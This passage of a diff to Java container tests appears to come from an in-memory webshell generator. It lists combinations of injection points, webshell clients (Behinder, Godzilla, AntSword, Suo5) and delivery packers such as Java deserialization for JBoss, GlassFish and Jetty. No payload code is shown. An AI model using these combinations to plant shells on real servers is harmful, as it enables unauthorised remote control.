arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JSP),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.Deserialize),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.ScriptEngine),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JSP),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.Deserialize),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.ScriptEngine),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.Deserialize),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.ScriptEngine),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.AntSword, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.AntSword, Packers.ScriptEngine),
|
||||
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.AntSword, Packers.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.AntSword, Packers.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Command, Packers.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Behinder, Packers.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Godzilla, Packers.AgentJar)
|
||||
|
||||
+12
-12
@@ -44,29 +44,29 @@ public class GlassFish6ContainerTest {
|
||||
static Stream<Arguments> casesProvider() {
|
||||
return Stream.of(
|
||||
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Behinder, Packers.Deserialize),
|
||||
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Godzilla, Packers.JSP),
|
||||
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Godzilla, Packers.Deserialize),
|
||||
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Command, Packers.JSP),
|
||||
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Command, Packers.Deserialize),
|
||||
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Command, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Suo5, Packers.Deserialize),
|
||||
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Behinder, Packers.Deserialize),
|
||||
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Godzilla, Packers.JSP),
|
||||
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Godzilla, Packers.Deserialize),
|
||||
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Command, Packers.JSP),
|
||||
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Command, Packers.Deserialize),
|
||||
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Command, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Suo5, Packers.Deserialize),
|
||||
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Behinder, Packers.Deserialize),
|
||||
arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Godzilla, Packers.JSP),
|
||||
arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Godzilla, Packers.Deserialize),
|
||||
arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Command, Packers.JSP),
|
||||
arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Command, Packers.Deserialize),
|
||||
arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Command, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Suo5, Packers.Deserialize),
|
||||
arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar),
|
||||
|
||||
+20
-12
@@ -43,32 +43,40 @@ public class Jboss423ContainerTest {
|
||||
static Stream<Arguments> casesProvider() {
|
||||
return Stream.of(
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.Deserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.Deserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.Deserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.Deserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.Deserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.Deserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.Deserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.Deserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.Deserialize),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JSP),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.Deserialize),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JSP),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.Deserialize),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.Deserialize),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.AntSword, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.AntSword, Packers.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.AntSword, Packers.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Command, Packers.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Behinder, Packers.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Godzilla, Packers.AgentJar)
|
||||
|
||||
+17
-9
@@ -46,30 +46,38 @@ public class Jboss510ContainerTest {
|
||||
// arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.JSP), // java.net.SocketTimeoutException: Read timed out
|
||||
// arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.Deserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.Deserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.Deserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.Deserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JavaDeserialize),
|
||||
// arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.JSP), // java.net.SocketTimeoutException: Read timed out
|
||||
// arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.Deserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.Deserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.Deserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.Deserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JavaDeserialize),
|
||||
// arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packer.INSTANCE.JSP), // java.net.SocketTimeoutException: Read timed out
|
||||
// arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packer.INSTANCE.Deserialize),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JSP),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.Deserialize),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JSP),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.Deserialize),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.Deserialize),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.AntSword, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar),
|
||||
// arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packer.INSTANCE.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.AntSword, Packers.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.AntSword, Packers.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Command, Packers.AgentJar),
|
||||
// arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Behinder, Packer.INSTANCE.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Godzilla, Packers.AgentJar)
|
||||
|
||||
+20
-12
@@ -43,32 +43,40 @@ public class Jboss610ContainerTest {
|
||||
static Stream<Arguments> casesProvider() {
|
||||
return Stream.of(
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.Deserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.Deserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.Deserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.Deserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.Deserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.Deserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.Deserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.Deserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.Deserialize),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JSP),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.Deserialize),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JSP),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.Deserialize),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.Deserialize),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.AntSword, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.AntSword, Packers.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.AntSword, Packers.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Command, Packers.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Behinder, Packers.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Godzilla, Packers.AgentJar)
|
||||
|
||||
+5
@@ -49,17 +49,22 @@ public class Jboss711ContainerTest {
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JSP),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JSP),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.AntSword, Packers.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.AntSword, Packers.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Command, Packers.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Behinder, Packers.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Godzilla, Packers.AgentJar)
|
||||
|
||||
+5
@@ -46,17 +46,22 @@ public class JbossEap6ContainerTest {
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JSP),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JSP),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.AntSword, Packers.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.AntSword, Packers.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Command, Packers.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Behinder, Packers.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Godzilla, Packers.AgentJar)
|
||||
|
||||
+7
@@ -51,6 +51,8 @@ public class JbossEap7ContainerTest {
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.ScriptEngine),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.ScriptEngine),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.ScriptEngine),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.ScriptEngine),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP),
|
||||
@@ -59,6 +61,8 @@ public class JbossEap7ContainerTest {
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.ScriptEngine),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.ScriptEngine),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.ScriptEngine),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.ScriptEngine),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP),
|
||||
@@ -67,6 +71,9 @@ public class JbossEap7ContainerTest {
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.ScriptEngine),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.ScriptEngine),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.ScriptEngine),
|
||||
arguments(imageName, UndertowShell.AGENT_SERVLET_HANDLER, ShellTool.AntSword, Packers.AgentJar),
|
||||
arguments(imageName, UndertowShell.AGENT_SERVLET_HANDLER, ShellTool.Command, Packers.AgentJar),
|
||||
arguments(imageName, UndertowShell.AGENT_SERVLET_HANDLER, ShellTool.Behinder, Packers.AgentJar),
|
||||
arguments(imageName, UndertowShell.AGENT_SERVLET_HANDLER, ShellTool.Godzilla, Packers.AgentJar)
|
||||
|
||||
+12
-12
@@ -43,29 +43,29 @@ public class Jetty10ContainerTest {
|
||||
static Stream<Arguments> casesProvider() {
|
||||
return Stream.of(
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.Deserialize),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JSP),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.Deserialize),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JSP),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.Deserialize),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.Deserialize),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.Deserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.Deserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.Deserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.Deserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||
